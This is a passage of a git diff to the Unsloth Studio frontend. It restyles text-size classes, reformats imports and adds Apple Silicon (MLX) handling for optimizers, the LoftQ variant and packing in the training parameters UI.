                 {t("studio.model.scanningLocalModels")}
               </p>
             ) : localModelsError ? (
-              <p className="text-[10px] text-red-500">{localModelsError}</p>
+              <p className="text-ui-10 text-red-500">{localModelsError}</p>
             ) : (
-              <p className="text-[10px] text-muted-foreground">
+              <p className="text-ui-10 text-muted-foreground">
                 {trainableLocalModels.length > 0
                   ? t("studio.model.localModelsFound", {
                       count: trainableLocalModels.length,
@@ -507,7 +507,7 @@ export function ModelSection() {
                                 {vramEst != null &&
                                   vramEst > 0 &&
                                   gpu.available && (
-                                    <span className="block text-[10px] mt-1">
+                                    <span className="block text-ui-10 mt-1">
                                       {exceeds
                                         ? t("studio.model.needsVram", {
                                             vram: vramEst,
@@ -527,17 +527,17 @@ export function ModelSection() {
                             </Tooltip>
                             <span className="ml-auto flex items-center gap-1.5 shrink-0">
                               {fitStatus === "exceeds" && (
-                                <span className="text-[9px] font-medium !text-red-700 !bg-red-50 dark:!text-red-400 dark:!bg-red-950 px-1.5 py-0.5 rounded">
+                                <span className="text-ui-9 font-medium !text-red-700 !bg-red-50 dark:!text-red-400 dark:!bg-red-950 px-1.5 py-0.5 rounded">
                                   OOM
                                 </span>
                               )}
                               {fitStatus === "tight" && (
-                                <span className="text-[9px] font-medium !text-amber-400">
+                                <span className="text-ui-9 font-medium !text-amber-400">
                                   TIGHT
                                 </span>
                               )}
                               {detail && (
-                                <span className="text-[10px] text-muted-foreground">
+                                <span className="text-ui-10 text-muted-foreground">
                                   {detail}
                                 </span>
                               )}
diff --git a/studio/frontend/src/features/studio/sections/params-section.tsx b/studio/frontend/src/features/studio/sections/params-section.tsx
index 2609558145..3270eb4e3d 100644
--- a/studio/frontend/src/features/studio/sections/params-section.tsx
+++ b/studio/frontend/src/features/studio/sections/params-section.tsx
@@ -1,7 +1,6 @@
 // SPDX-License-Identifier: AGPL-3.0-only
 // Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
 
-import { usePlatformStore } from "@/config/env";
 import { SectionCard } from "@/components/section-card";
 import { Checkbox } from "@/components/ui/checkbox";
 import {
@@ -9,7 +8,6 @@ import {
   CollapsibleContent,
   CollapsibleTrigger,
 } from "@/components/ui/collapsible";
-import { Input } from "@/components/ui/input";
 import {
   Combobox,
   ComboboxContent,
@@ -18,6 +16,7 @@ import {
   ComboboxItem,
   ComboboxList,
 } from "@/components/ui/combobox";
+import { Input } from "@/components/ui/input";
 import {
   Select,
   SelectContent,
@@ -32,25 +31,36 @@ import {
   TooltipContent,
   TooltipTrigger,
 } from "@/components/ui/tooltip";
+import { usePlatformStore } from "@/config/env";
 import {
   CONTEXT_LENGTHS,
   CPT_TARGET_MODULES,
   LR_SCHEDULER_OPTIONS,
+  MLX_OPTIMIZER_OPTIONS,
   OPTIMIZER_OPTIONS,
   TARGET_MODULES,
 } from "@/config/training";
-import { useMaxStepsEpochsToggle, useTrainingConfigStore } from "@/features/training";
+import {
+  useMaxStepsEpochsToggle,
+  useTrainingConfigStore,
+} from "@/features/training";
 import { isRawTextDatasetFormat } from "@/features/training/lib/training-methods";
+import { useT } from "@/i18n";
+import { ChevronDownStandardIcon } from "@/lib/chevron-icons";
 import { isAdapterMethod } from "@/types/training";
 import type { GradientCheckpointing } from "@/types/training";
 import {
-  ArrowDown01Icon,
   InformationCircleIcon,
   Settings04Icon,
 } from "@hugeicons/core-free-icons";
 import { HugeiconsIcon } from "@hugeicons/react";
-import { type ReactElement, type ReactNode, useEffect, useRef, useState } from "react";
-import { useT } from "@/i18n";
+import {
+  type ReactElement,
+  type ReactNode,
+  useEffect,
+  useRef,
+  useState,
+} from "react";
 
 type StudioT = ReturnType<typeof useT>;
 
@@ -122,7 +132,7 @@ function SliderRow({
           min={min}
           max={max}
           step={step}
-          className="w-12 text-right font-mono text-xs font-medium bg-muted/50 border border-border rounded-lg px-1.5 py-0.5 focus:outline-none focus:ring-1 focus:ring-primary/30 [&::-webkit-inner-spin-button]:appearance-none"
+          className="w-12 text-right font-mono text-xs font-medium bg-muted/50 border border-border rounded-lg px-1.5 py-0.5 focus:outline-none focus:ring-1 focus:ring-ring [&::-webkit-inner-spin-button]:appearance-none"
         />
       </div>
     </Row>
@@ -183,7 +193,6 @@ export function ParamsSection(): ReactElement {
   const showVisionImageSize = showVisionLora && !isDeepseekOcr;
   const [loraOpen, setLoraOpen] = useState(false);
   const [hyperOpen, setHyperOpen] = useState(false);
-  const needsExpandedHeight = isCpt || (isLora && loraOpen) || hyperOpen;
   const [ctxInput, setCtxInput] = useState(String(store.contextLength));
   const ctxAnchorRef = useRef<HTMLDivElement>(null);
   const ctxItems = CONTEXT_LENGTHS.map(String);
@@ -196,6 +205,42 @@ export function ParamsSection(): ReactElement {
     setCtxInput(String(store.contextLength));
   }, [store.contextLength]);
 
+  // On Apple Silicon the MLX trainer supports a different optimizer set than
+  // the CUDA/bitsandbytes list, so offer the MLX names there.
+  const isMac = platformDeviceType === "mac";
+  const optimizerOptions = isMac ? MLX_OPTIMIZER_OPTIONS : OPTIMIZER_OPTIONS;
+
+  // On Mac, the MLX backend normalizes every CUDA/bitsandbytes optimizer in
+  // OPTIMIZER_OPTIONS (including the shared default) to plain AdamW, so show
+  // AdamW for those to keep the control truthful and non-blank. Any other
+  // value -- an MLX optimizer the user picked, or an unrecognized/non-canonical
+  // imported one -- is shown as-is rather than mislabeled as AdamW, since the
+  // backend would run or reject it on its own terms. Non-Mac display unchanged.
+  const isCudaAliasOptimizer = OPTIMIZER_OPTIONS.some(
+    (o) => o.value === store.optimizerType,
+  );
+  const selectedOptimizer =
+    isMac && isCudaAliasOptimizer ? "adamw" : store.optimizerType;
+
+  // LoftQ is not supported on MLX (the backend rejects it), so clear a stale
+  // selection to lora on Apple Silicon -- whether persisted, applied from a
+  // model default, or imported -- so the backend never receives it.
+  const setLoraVariant = store.setLoraVariant;
+  useEffect(() => {
+    if (isMac && store.loraVariant === "loftq") {
+      setLoraVariant("lora");
+    }
+  }, [isMac, store.loraVariant, setLoraVariant]);
+
+  // Packing is not supported on MLX (the backend forces it off), so clear it on
+  // Apple Silicon -- the checkbox is disabled and the flag is never sent.
+  const setPacking = store.setPacking;
+  useEffect(() => {
+    if (isMac && store.packing) {
+      setPacking(false);
+    }
+  }, [isMac, store.packing, setPacking]);
+
   const trySetContextLength = (input: string): number | null => {
     const n = Number(input);
     if (Number.isInteger(n) && n > 0) {
@@ -224,15 +269,13 @@ export function ParamsSection(): ReactElement {
         title={t("studio.params.title")}
         description={t("studio.params.description")}
         accent="orange"
-        className={`${needsExpandedHeight
-          ? "min-h-studio-config-column"
-          : "h-studio-config-column"} duration-150`}
+        className="min-h-studio-config-column"
       >
         <div className="flex flex-col gap-4">
           <div className="flex flex-col gap-2">
             <span className="flex items-center gap-1.5 text-xs font-medium text-muted-foreground">
               {t("studio.params.projectName")}
-              <span className="text-[10px] font-normal text-muted-foreground/70">
+              <span className="text-ui-10 font-normal text-muted-foreground/70">
                 {t("studio.params.optional")}
               </span>
             </span>
@@ -242,7 +285,7 @@ export function ParamsSection(): ReactElement {
               placeholder="customer-support-lora"
               maxLength={80}
             />
-            <p className="text-[10px] text-muted-foreground">
+            <p className="text-ui-10 text-muted-foreground">
               {t("studio.params.projectNameDescription")}
             </p>
           </div>
@@ -255,7 +298,9 @@ export function ParamsSection(): ReactElement {
             >
               <div className="flex items-center justify-between">
                 <span className="flex items-center gap-1.5 text-xs font-medium text-muted-foreground">
-                  {useEpochs ? t("studio.params.epochs") : t("studio.params.maxSteps")}
+                  {useEpochs
+                    ? t("studio.params.epochs")
+                    : t("studio.params.maxSteps")}
                   <Tooltip>
                     <TooltipTrigger asChild={true}>
                       <button
@@ -289,7 +334,9 @@ export function ParamsSection(): ReactElement {
                     onClick={toggleUseEpochs}
                     className="text-xs text-primary underline cursor-pointer"
                   >
-                    {useEpochs ? t("studio.params.useMaxSteps") : t("studio.params.useEpochs")}
+                    {useEpochs
+                      ? t("studio.params.useMaxSteps")
+                      : t("studio.params.useEpochs")}
                   </button>
                   <input
                     type="number"
@@ -310,7 +357,7 @@ export function ParamsSection(): ReactElement {
                     min={1}
                     max={useEpochs ? epochsSliderMax : maxStepsSliderMax}
                     step={1}
-                    className="w-16 text-right font-mono text-xs font-medium bg-muted/50 border border-border rounded-lg px-1.5 py-0.5 focus:outline-none focus:ring-1 focus:ring-primary/30 [&::-webkit-inner-spin-button]:appearance-none"
+                    className="w-16 text-right font-mono text-xs font-medium bg-muted/50 border border-border rounded-lg px-1.5 py-0.5 focus:outline-none focus:ring-1 focus:ring-ring [&::-webkit-inner-spin-button]:appearance-none"
                   />
                 </div>
               </div>
@@ -327,7 +374,7 @@ export function ParamsSection(): ReactElement {
                 max={useEpochs ? epochsSliderMax : maxStepsSliderMax}
                 step={1}
               />
-              <p className="text-[10px] text-muted-foreground">
+              <p className="text-ui-10 text-muted-foreground">
                 {useEpochs
                   ? t("studio.params.epochsDescription")
                   : t("studio.params.maxStepsDescription")}
@@ -387,9 +434,13 @@ export function ParamsSection(): ReactElement {
                     setCtxInput(String(store.contextLength));
                   }}
                   onKeyDown={(e) => {
-                    if (e.key !== "Enter") { return; }
+                    if (e.key !== "Enter") {
+                      return;
+                    }
                     const n = trySetContextLength(ctxInput);
-                    if (n === null) { return; }
+                    if (n === null) {
+                      return;
+                    }
                     if (!ctxItems.includes(ctxInput.trim())) {
                       e.stopPropagation();
                       e.preventDefault();
@@ -398,7 +449,9 @@ export function ParamsSection(): ReactElement {
                   }}
                 />
                 <ComboboxContent anchor={ctxAnchorRef}>
-                  <ComboboxEmpty>{t("studio.params.customContextLength")}</ComboboxEmpty>
+                  <ComboboxEmpty>
+                    {t("studio.params.customContextLength")}
+                  </ComboboxEmpty>
                   <ComboboxList className="p-1">
                     {(id: string) => (
                       <ComboboxItem key={id} value={id} className="font-mono">
@@ -409,7 +462,7 @@ export function ParamsSection(): ReactElement {
                 </ComboboxContent>
               </Combobox>
             </div>
-            <p className="text-[10px] text-muted-foreground">
+            <p className="text-ui-10 text-muted-foreground">
               {t("studio.params.contextLengthDescription")}
             </p>
           </div>
@@ -450,7 +503,7 @@ export function ParamsSection(): ReactElement {
               onChange={(e) => store.setLearningRate(Number(e.target.value))}
               className="w-full font-mono"
             />
-            <p className="text-[10px] text-muted-foreground">
+            <p className="text-ui-10 text-muted-foreground">
               {t("studio.params.learningRateDescription")}
             </p>
           </div>
@@ -495,7 +548,7 @@ export function ParamsSection(): ReactElement {
                 }}
                 className="w-full font-mono"
               />
-              <p className="text-[10px] text-muted-foreground">
+              <p className="text-ui-10 text-muted-foreground">
                 {t("studio.params.embeddingLearningRateDescription")}
               </p>
             </div>
@@ -506,194 +559,207 @@ export function ParamsSection(): ReactElement {
             <Collapsible open={loraOpen} onOpenChange={setLoraOpen}>
               <CollapsibleTrigger className="flex w-full cursor-pointer items-center gap-1.5 text-xs text-muted-foreground">
                 <HugeiconsIcon
-                  icon={ArrowDown01Icon}
+                  icon={ChevronDownStandardIcon}
                   className={`size-3.5 transition-transform ${loraOpen ? "rotate-180" : ""}`}
                 />
                 {t("studio.params.loraSettings")}
               </CollapsibleTrigger>
               <CollapsibleContent className="mt-3 data-[state=open]:overflow-visible">
                 <div className="pt-1.5 flex flex-col gap-4">
-                <SliderRow
-                  label={t("studio.params.rank")}
-                  tooltip={
-                    <>
-                      {t("studio.params.rankTooltip")}{" "}
-                      <a
-                        href="https://unsloth.ai/docs/get-started/fine-tuning-llms-guide/lora-hyperparameters-guide"
-                        target="_blank"
-                        rel="noopener noreferrer"
-                        className="text-primary underline"
-                      >
-                        {t("studio.params.readMore")}
-                      </a>
-                    </>
-                  }
-                  value={store.loraRank}
-                  onChange={store.setLoraRank}
-                  min={4}
-                  max={128}
-                  step={4}
-                />
-                <SliderRow
-                  label={t("studio.params.alpha")}
-                  tooltip={
-                    <>
-                      {t("studio.params.alphaTooltip")}{" "}
-                      <a
-                        href="https://unsloth.ai/docs/get-started/fine-tuning-llms-guide/lora-hyperparameters-guide"
-                        target="_blank"
-                        rel="noopener noreferrer"
-                        className="text-primary underline"
-                      >
-                        {t("studio.params.readMore")}
-                      </a>
-                    </>
-                  }
-                  value={store.loraAlpha}
-                  onChange={store.setLoraAlpha}
-                  min={4}
-                  max={256}
-                  step={4}
-                />
-                <SliderRow
-                  label={t("studio.params.dropout")}
-                  tooltip={
-                    <>
-                      {t("studio.params.dropoutTooltip")}{" "}
-                      <a
-                        href="https://unsloth.ai/docs/get-started/fine-tuning-llms-guide/lora-hyperparameters-guide"
-                        target="_blank"
-                        rel="noopener noreferrer"
-                        className="text-primary underline"
-                      >
-                        {t("studio.params.readMore")}
-                      </a>
-                    </>
-                  }
-                  value={store.loraDropout}
-                  onChange={store.setLoraDropout}
-                  min={0}
-                  max={0.5}
-                  step={0.01}
-                  format={(v) => v.toFixed(2)}
-                />
+                  <SliderRow
+                    label={t("studio.params.rank")}
+                    tooltip={
+                      <>
+                        {t("studio.params.rankTooltip")}{" "}
+                        <a
+                          href="https://unsloth.ai/docs/get-started/fine-tuning-llms-guide/lora-hyperparameters-guide"
+                          target="_blank"
+                          rel="noopener noreferrer"
+                          className="text-primary underline"
+                        >
+                          {t("studio.params.readMore")}
+                        </a>
+                      </>
+                    }
+                    value={store.loraRank}
+                    onChange={store.setLoraRank}
+                    min={4}
+                    max={128}
+                    step={4}
+                  />
+                  <SliderRow
+                    label={t("studio.params.alpha")}
+                    tooltip={
+                      <>
+                        {t("studio.params.alphaTooltip")}{" "}
+                        <a
+                          href="https://unsloth.ai/docs/get-started/fine-tuning-llms-guide/lora-hyperparameters-guide"
+                          target="_blank"
+                          rel="noopener noreferrer"
+                          className="text-primary underline"
+                        >
+                          {t("studio.params.readMore")}
+                        </a>
+                      </>
+                    }
+                    value={store.loraAlpha}
+                    onChange={store.setLoraAlpha}
+                    min={4}
+                    max={256}
+                    step={4}
+                  />
+                  <SliderRow
+                    label={t("studio.params.dropout")}
+                    tooltip={
+                      <>
+                        {t("studio.params.dropoutTooltip")}{" "}
+                        <a
+                          href="https://unsloth.ai/docs/get-started/fine-tuning-llms-guide/lora-hyperparameters-guide"
+                          target="_blank"
+                          rel="noopener noreferrer"
+                          className="text-primary underline"
+                        >
+                          {t("studio.params.readMore")}
+                        </a>
+                      </>
+                    }
+                    value={store.loraDropout}
+                    onChange={store.setLoraDropout}
+                    min={0}
+                    max={0.5}
+                    step={0.01}
+                    format={(v) => v.toFixed(2)}
+                  />
 
-                {/* Vision checkboxes */}
-                {showVisionLora && (
-                  <div className="flex flex-col gap-2 pt-1">
+                  {/* Vision checkboxes */}
+                  {showVisionLora && (
+                    <div className="flex flex-col gap-2 pt-1">
+                      {(
+                        [
+                          [
+                            "finetuneVisionLayers",
+                            t("studio.params.visionLayers"),
+                            store.finetuneVisionLayers,
+                            store.setFinetuneVisionLayers,
+                          ],
+                          [
+                            "finetuneLanguageLayers",
+                            t("studio.params.languageLayers"),
+                            store.finetuneLanguageLayers,
+                            store.setFinetuneLanguageLayers,
+                          ],
+                          [
+                            "finetuneAttentionModules",
+                            t("studio.params.attentionModules"),
+                            store.finetuneAttentionModules,
+                            store.setFinetuneAttentionModules,
+                          ],
+                          [
+                            "finetuneMLPModules",
+                            t("studio.params.mlpModules"),
+                            store.finetuneMLPModules,
+                            store.setFinetuneMLPModules,
+                          ],
+                        ] as const
+                      ).map(([key, label, value, setter]) => (
+                        <div key={key} className="flex items-center gap-2">
+                          <Checkbox
+                            id={key}
+                            checked={value as boolean}
+                            onCheckedChange={(v) =>
+                              (setter as (v: boolean) => void)(!!v)
+                            }
+                          />
+                          <label
+                            htmlFor={key}
+                            className="text-xs cursor-pointer text-muted-foreground"
+                          >
+                            {label}
+                          </label>
+                        </div>
+                      ))}
+                    </div>
+                  )}
+
+                  {/* Text target modules */}
+                  {!showVisionLora && (
+                    <div className="flex flex-col gap-2 pt-1">
+                      <span className="text-xs font-medium text-muted-foreground">
+                        {t("studio.params.targetModules")}
+                      </span>
+                      <div className="flex flex-wrap gap-1.5">
+                        {(isCpt ? CPT_TARGET_MODULES : TARGET_MODULES).map(
+                          (mod) => {
+                            const active = store.targetModules.includes(mod);
+                            return (
+                              <button
+                                key={mod}
+                                type="button"
+                                onClick={() => {
+                                  store.setTargetModules(
+                                    active
+                                      ? store.targetModules.filter(
+                                          (m) => m !== mod,
+                                        )
+                                      : [...store.targetModules, mod],
+                                  );
+                                }}
+                                className={`cursor-pointer rounded-full border px-2.5 py-0.5 text-ui-11 font-mono transition-colors ${
+                                  active
+                                    ? "border-orange-300 bg-orange-50 text-orange-700 dark:border-orange-700 dark:bg-orange-950 dark:text-orange-300"
+                                    : "text-muted-foreground hover:bg-muted/50"
+                                }`}
+                              >
+                                {mod}
+                              </button>
+                            );
+                          },
+                        )}
+                      </div>
+                    </div>
+                  )}
+
+                  {/* LoRA variant */}
+                  <div className="flex gap-2">
                     {(
                       [
-                        [
-                          "finetuneVisionLayers",
-                          t("studio.params.visionLayers"),
-                          store.finetuneVisionLayers,
-                          store.setFinetuneVisionLayers,
-                        ],
-                        [
-                          "finetuneLanguageLayers",
-                          t("studio.params.languageLayers"),
-                          store.finetuneLanguageLayers,
-                          store.setFinetuneLanguageLayers,
-                        ],
-                        [
-                          "finetuneAttentionModules",
-                          t("studio.params.attentionModules"),
-                          store.finetuneAttentionModules,
-                          store.setFinetuneAttentionModules,
-                        ],
-                        [
-                          "finetuneMLPModules",
-                          t("studio.params.mlpModules"),
-                          store.finetuneMLPModules,
-                          store.setFinetuneMLPModules,
-                        ],
+                        {
+                          value: "lora",
+                          label: t("studio.params.enableLora"),
+                          desc: t("studio.params.trainWithLora"),
+                        },
+                        {
+                          value: "rslora",
+                          label: "RS-LoRA",
+                          desc: t("studio.params.stableRank"),
+                        },
+                        {
+                          value: "loftq",
+                          label: "LoftQ",
+                          desc: t("studio.params.memoryEfficient"),
+                        },
                       ] as const
-                    ).map(([key, label, value, setter]) => (
-                      <div key={key} className="flex items-center gap-2">
-                        <Checkbox
-                          id={key}
-                          checked={value as boolean}
-                          onCheckedChange={(v) =>
-                            (setter as (v: boolean) => void)(!!v)
-                          }
-                        />
-                        <label
-                          htmlFor={key}
-                          className="text-xs cursor-pointer text-muted-foreground"
-                        >
-                          {label}
-                        </label>
-                      </div>
+                    ).map((opt) => (
+                      <button
+                        key={opt.value}
+                        type="button"
+                        disabled={isMac && opt.value === "loftq"}
+                        onClick={() => store.setLoraVariant(opt.value)}
+                        className={`flex-1 corner-squircle rounded-xl border px-3 py-2 text-left transition-colors cursor-pointer disabled:cursor-not-allowed disabled:opacity-60 ${
+                          store.loraVariant === opt.value
+                            ? "border-ring-strong bg-primary/5"
+                            : "border-border hover:border-foreground/20"
+                        }`}
+                      >
+                        <p className="text-xs font-medium">{opt.label}</p>
+                        <p className="text-ui-10 text-muted-foreground">
+                          {isMac && opt.value === "loftq"
+                            ? "Not supported on Apple Silicon"
+                            : opt.desc}
+                        </p>
+                      </button>
                     ))}
                   </div>
-                )}
-
-                {/* Text target modules */}
-                {!showVisionLora && (
-                  <div className="flex flex-col gap-2 pt-1">
-                    <span className="text-xs font-medium text-muted-foreground">
-                      {t("studio.params.targetModules")}
-                    </span>
-                    <div className="flex flex-wrap gap-1.5">
-                      {(isCpt ? CPT_TARGET_MODULES : TARGET_MODULES).map((mod) => {
-                        const active = store.targetModules.includes(mod);
-                        return (
-                          <button
-                            key={mod}
-                            type="button"
-                            onClick={() => {
-                              store.setTargetModules(
-                                active
-                                  ? store.targetModules.filter((m) => m !== mod)
-                                  : [...store.targetModules, mod],
-                              );
-                            }}
-                            className={`cursor-pointer rounded-full border px-2.5 py-0.5 text-[11px] font-mono transition-colors ${active
-                                ? "border-orange-300 bg-orange-50 text-orange-700 dark:border-orange-700 dark:bg-orange-950 dark:text-orange-300"
-                                : "text-muted-foreground hover:bg-muted/50"
-                              }`}
-                          >
-                            {mod}
-                          </button>
-                        );
-                      })}
-                    </div>
-                  </div>
-                )}
-
-                {/* LoRA variant */}
-                <div className="flex gap-2">
-                  {(
-                    [
-                      {
-                        value: "lora",
-                        label: t("studio.params.enableLora"),
-                        desc: t("studio.params.trainWithLora"),
-                      },
-                      { value: "rslora", label: "RS-LoRA", desc: t("studio.params.stableRank") },
-                      {
-                        value: "loftq",
-                        label: "LoftQ",
-                        desc: t("studio.params.memoryEfficient"),
-                      },
-                    ] as const
-                  ).map((opt) => (
-                    <button
-                      key={opt.value}
-                      type="button"
-                      onClick={() => store.setLoraVariant(opt.value)}
-                      className={`flex-1 corner-squircle rounded-xl border px-3 py-2 text-left transition-colors cursor-pointer ${store.loraVariant === opt.value
-                          ? "border-primary/50 bg-primary/5 ring-1 ring-primary/20"
-                          : "border-border hover:border-foreground/20"
-                        }`}
-                    >
-                      <p className="text-xs font-medium">{opt.label}</p>
-                      <p className="text-[10px] text-muted-foreground">
-                        {opt.desc}
-                      </p>
-                    </button>
-                  ))}
-                </div>
                 </div>
               </CollapsibleContent>
             </Collapsible>
@@ -703,7 +769,7 @@ export function ParamsSection(): ReactElement {
           <Collapsible open={hyperOpen} onOpenChange={setHyperOpen}>
             <CollapsibleTrigger className="flex w-full cursor-pointer items-center gap-1.5 text-xs text-muted-foreground">
               <HugeiconsIcon
-                icon={ArrowDown01Icon}
+                icon={ChevronDownStandardIcon}
                 className={`size-3.5 transition-transform ${hyperOpen ? "rotate-180" : ""}`}
               />
               {t("studio.params.trainingHyperparameters")}
@@ -739,7 +805,11 @@ export function ParamsSection(): ReactElement {
                     label={t("studio.params.optimizer")}
                     tooltip={
                       <>
-                        {t("studio.params.optimizerTooltip")}{" "}
+                        {t(
+                          isMac
+                            ? "studio.params.optimizerTooltipMlx"
+                            : "studio.params.optimizerTooltip",
+                        )}{" "}
                         <a
                           href="https://unsloth.ai/docs/get-started/fine-tuning-llms-guide/lora-hyperparameters-guide"
                           target="_blank"
@@ -752,18 +822,15 @@ export function ParamsSection(): ReactElement {
                     }
                   >
                     <Select
-                      value={store.optimizerType}
+                      value={selectedOptimizer}
                       onValueChange={(v) => store.setOptimizerType(v)}
                     >
                       <SelectTrigger className="w-48">
                         <SelectValue />
                       </SelectTrigger>
                       <SelectContent>
-                        {OPTIMIZER_OPTIONS.map((opt) => (
-                          <SelectItem
-                            key={opt.value}
-                            value={opt.value}
-                          >
+                        {optimizerOptions.map((opt) => (
+                          <SelectItem key={opt.value} value={opt.value}>
                             {formatOptimizerLabel(opt.value, opt.label, t)}
                           </SelectItem>
                         ))}
@@ -795,10 +862,7 @@ export function ParamsSection(): ReactElement {
                       </SelectTrigger>
                       <SelectContent>
                         {LR_SCHEDULER_OPTIONS.map((opt) => (
-                          <SelectItem
-                            key={opt.value}
-                            value={opt.value}
-                          >
+                          <SelectItem key={opt.value} value={opt.value}>
                             {formatSchedulerLabel(opt.value, opt.label, t)}
                           </SelectItem>
                         ))}
@@ -942,7 +1006,9 @@ export function ParamsSection(): ReactElement {
                     <Input
                       type="number"
                       value={store.saveSteps}
-                      onChange={(e) => store.setSaveSteps(Number(e.target.value))}
+                      onChange={(e) =>
+                        store.setSaveSteps(Number(e.target.value))
+                      }
                       className="w-28 font-mono"
                     />
                   </Row>
@@ -956,11 +1022,16 @@ export function ParamsSection(): ReactElement {
                       min="0.0"
                       max="1.0"
                       value={store.evalSteps}
-                      onChange={(e) => store.setEvalSteps(Number(e.target.value))}
+                      onChange={(e) =>
+                        store.setEvalSteps(Number(e.target.value))
+                      }
                       className="w-28 font-mono"
                     />
                   </Row>
-                  <Row label={t("studio.params.seed")} tooltip={t("studio.params.seedTooltip")}>
+                  <Row
+                    label={t("studio.params.seed")}
+                    tooltip={t("studio.params.seedTooltip")}
+                  >
                     <Input
                       type="number"
                       value={store.randomSeed}
@@ -972,14 +1043,18 @@ export function ParamsSection(): ReactElement {
                   </Row>
                 </TabsContent>
 
-                <TabsContent value="memory" className="mt-3 flex flex-col gap-3">
+                <TabsContent
+                  value="memory"
+                  className="mt-3 flex flex-col gap-3"
+                >
                   {showVisionImageSize && (
                     <Row
                       label="Image Size"
                       tooltip={
                         <>
                           Resize images by maximum side length. Default uses the
-                          model image size. Larger images use up more context. Does not upscale or change aspect ratio.{" "}
+                          model image size. Larger images use up more context.
+                          Does not upscale or change aspect ratio.{" "}
                           <a
                             href="https://unsloth.ai/docs/basics/vision-fine-tuning"
                             target="_blank"
@@ -1014,9 +1089,7 @@ export function ParamsSection(): ReactElement {
                             !visionImageSizePresets.includes(
                               store.visionImageSize,
                             ) && (
-                              <SelectItem
-                                value={String(store.visionImageSize)}
-                              >
+                              <SelectItem value={String(store.visionImageSize)}>
                                 {store.visionImageSize}
                               </SelectItem>
                             )}
@@ -1048,15 +1121,21 @@ export function ParamsSection(): ReactElement {
                     <Select
                       value={store.gradientCheckpointing}
                       onValueChange={(v) =>
-                        store.setGradientCheckpointing(v as GradientCheckpointing)
+                        store.setGradientCheckpointing(
+                          v as GradientCheckpointing,
+                        )
                       }
                     >
                       <SelectTrigger className="w-32">
                         <SelectValue />
                       </SelectTrigger>
                       <SelectContent>
-                        <SelectItem value="none">{t("studio.params.none")}</SelectItem>
-                        <SelectItem value="true">{t("studio.params.standard")}</SelectItem>
+                        <SelectItem value="none">
+                          {t("studio.params.none")}
+                        </SelectItem>
+                        <SelectItem value="true">
+                          {t("studio.params.standard")}
+                        </SelectItem>
                         {platformDeviceType === "mac" ? (
                           <SelectItem value="mlx">MLX</SelectItem>
                         ) : (
@@ -1070,14 +1149,37 @@ export function ParamsSection(): ReactElement {
                       <Checkbox
                         id="packing"
                         checked={store.packing}
+                        disabled={isMac}
                         onCheckedChange={(v) => store.setPacking(!!v)}
                       />
                       <label
                         htmlFor="packing"
-                        className="text-xs cursor-pointer text-muted-foreground"
+                        className={`text-xs text-muted-foreground ${
+                          isMac
+                            ? "cursor-not-allowed opacity-60"
+                            : "cursor-pointer"
+                        }`}
                       >
                         {t("studio.params.enablePacking")}
                       </label>
+                      {isMac && (
+                        <Tooltip>
+                          <TooltipTrigger asChild={true}>
+                            <button
+                              type="button"
+                              className="text-foreground/70 hover:text-foreground"
+                            >
+                              <HugeiconsIcon
+                                icon={InformationCircleIcon}
+                                className="size-3"
+                              />
+                            </button>
+                          </TooltipTrigger>
+                          <TooltipContent>
+                            Packing is not supported on Apple Silicon (MLX).
+                          </TooltipContent>
+                        </Tooltip>
+                      )}
                     </div>
                   )}
                   {!store.isEmbeddingModel && !isCpt && !isRawText && (
@@ -1086,7 +1188,9 @@ export function ParamsSection(): ReactElement {
                         id="trainOnCompletions"
                         checked={store.trainOnCompletions}
                         disabled={store.datasetStreaming}
-                        onCheckedChange={(v) => store.setTrainOnCompletions(!!v)}
+                        onCheckedChange={(v) =>
+                          store.setTrainOnCompletions(!!v)
+                        }
                       />
                       <label
                         htmlFor="trainOnCompletions"
diff --git a/studio/frontend/src/features/studio/sections/progress-section.tsx b/studio/frontend/src/features/studio/sections/progress-section.tsx
index abab35db93..ad813e888e 100644
--- a/studio/frontend/src/features/studio/sections/progress-section.tsx
+++ b/studio/frontend/src/features/studio/sections/progress-section.tsx
@@ -19,7 +19,8 @@ import {
   PopoverTrigger,
 } from "@/components/ui/popover";
 import { Progress } from "@/components/ui/progress";
-import { OPTIMIZER_OPTIONS } from "@/config/training";
+import { usePlatformStore } from "@/config/env";
+import { MLX_OPTIMIZER_OPTIONS, OPTIMIZER_OPTIONS } from "@/config/training";
 import { setTrainingCompareHandoff } from "@/features/chat";
 import {
   useTrainingActions,
@@ -28,6 +29,7 @@ import {
 } from "@/features/training";
 import { getTrainingMethodLabel } from "@/features/training/lib/training-methods";
 import type { TrainingViewData } from "@/features/training";
+import type { RunConfigOverride } from "./run-config-override";
 import { useGpuUtilization } from "@/hooks";
 import type { GpuUtilization } from "@/hooks/use-gpu-utilization";
 import { cn } from "@/lib/utils";
@@ -81,19 +83,7 @@ function configRow(
 interface ProgressSectionProps {
   data: TrainingViewData;
   isHistorical?: boolean;
-  configOverride?: {
-    epochs?: number;
-    batchSize?: number;
-    learningRate?: string;
-    maxSteps?: number;
-    contextLength?: number;
-    warmupSteps?: number;
-    optimizerType?: string;
-    loraRank?: number;
-    loraAlpha?: number;
-    loraDropout?: number;
-    loraVariant?: string;
-  };
+  configOverride?: RunConfigOverride;
 }
 
 export function ProgressSection({
@@ -103,6 +93,7 @@ export function ProgressSection({
 }: ProgressSectionProps): ReactElement {
   const t = useT();
   const navigate = useNavigate();
+  const platformDeviceType = usePlatformStore((s) => s.deviceType);
   const trainingMethodLabel = getTrainingMethodLabel(data.trainingMethod);
 
   const config = useTrainingConfigStore(
@@ -183,21 +174,33 @@ export function ProgressSection({
     ? data.currentGradNorm
     : (lastValue(data.gradNormHistory) ?? data.currentGradNorm);
 
-  const cfgEpochs = isHistorical ? configOverride?.epochs : config.epochs;
-  const cfgBatchSize = isHistorical ? configOverride?.batchSize : config.batchSize;
-  const cfgLearningRate = isHistorical ? configOverride?.learningRate : config.learningRate;
-  const cfgMaxSteps = isHistorical ? configOverride?.maxSteps : config.maxSteps;
-  const cfgContextLength = isHistorical ? configOverride?.contextLength : config.contextLength;
-  const cfgWarmupSteps = isHistorical ? configOverride?.warmupSteps : config.warmupSteps;
-  const cfgOptimizerType = isHistorical ? configOverride?.optimizerType : config.optimizerType;
-  const cfgLoraRank = isHistorical ? configOverride?.loraRank : config.loraRank;
-  const cfgLoraAlpha = isHistorical ? configOverride?.loraAlpha : config.loraAlpha;
-  const cfgLoraDropout = isHistorical ? configOverride?.loraDropout : config.loraDropout;
-  const cfgLoraVariant = isHistorical ? configOverride?.loraVariant : config.loraVariant;
+  // Prefer the run's saved snapshot when present (#6853). Live falls back to the
